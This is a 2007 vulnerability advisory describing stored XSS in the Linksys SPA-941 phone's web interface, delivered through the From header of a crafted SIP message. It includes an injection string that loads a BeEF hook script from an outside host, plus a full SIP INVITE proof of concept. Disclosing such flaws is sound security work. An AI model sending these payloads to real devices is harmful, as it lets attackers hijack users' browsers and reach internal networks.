Type packetstorm
Reporter Radu State
Modified 2007-10-10T00:00:00


SIP, the IETF endorsed VoIP signaling protocol, is currently used to  
establish and manage VoIP calls. Many security issues have been addressed  
until know about the security of VoIP due to the large numbers of attacks  
coming from the traditional IP networks, but none have addressed the  
securing the enterprise level network from SIP attacks. The basic question  
that we have tried to address was: can we own the internal network with SIP?  
A quick answer could be: use a buffer overflows and do it. While buffer  
overflows in SIP stacks do exists, most of them are difficult to exploit  
because they are affecting embedded devices with custom architectures and  
operating systems. However, most VoIP devices have embedded web servers that  
are typically used to configure them, or to allow the user to see the missed  
calls, and all the call log history. The important issue is that, the user  
will check the missed calls and other device related information from her  
machine, which is usually on the internal network. In this post, I will  
describe how XSS injection can be done with SIP and a vulnerable integrated  
web server. The Linksys SPA Linksys SPA-941 (Version 5.1.8) phone has an  
integrated web server that allows for configuration and call history  
checking. An XSS vulnerability allows a malicious entity to perform XSS  
injection because the "FROM" field coming from the SIP message is not  
properly filtered. By sending a crafted SIP packet with the FROM field set  
to :  
"<script x='" <sip:'src='http://baloo/beef/y.js'>@>;tag=1",  
the beef attack tool can be launched against the internal machine of the  
user. Obviously any other XSS related attack (XSS proxy, Beef, Attack API,  
Jikto) can be similarly performed   
Affected Device: Linksys SPA Linksys SPA-941 (Version 5.1.8)  
Date of Discovery 10/08/2007  
Vendor was informed on 13/08/2007 and acknowledged the vulnerability  
Radu State  
Balamurugan Karpagavinagam  
Natraj Kaushik  
Impact of this vulnerability: Very high : Most firewalls/IPS will not  
protect the internal network against XSS attacks delivered over SIP.  
Additionally, users will connect to these devices directly from the internal  
network and therefore the internal network can be compromised. Jeremiah  
Grossmann showed how firewalls can be deactivated with XSS attacks and many  
other malicious usages do exist. Unfortunately, most VoIP devices have weak  
embedded WEB applications, such that other vulnerable systems exist and will  
be disclosed soon.   
POC code :  
INVITE sip:h@ SIP/2.0  
Via: SIP/2.0/UDP;rport  
To: sip:h@  
From: "<script>alert('hack')</script>""natraj"  
Call-ID: 401010907@  
CSeq: 4857 INVITE  
Content-Type: application/sdp  
Subject: sip:  
Contact: "natraj" <sip:;transport=udp>  
Content-Length: 214  
o=root 47650 47650 IN IP4  
c=IN IP4  
t=0 0  
m=audio 5070 RTP/AVP 3 0 110 5  
a=rtpmap:3 GSM/8000/1  
a=rtpmap:0 PCMU/8000/1  
a=rtpmap:110 speex/8000/1  
a=rtpmap:5 DVI4/8000/1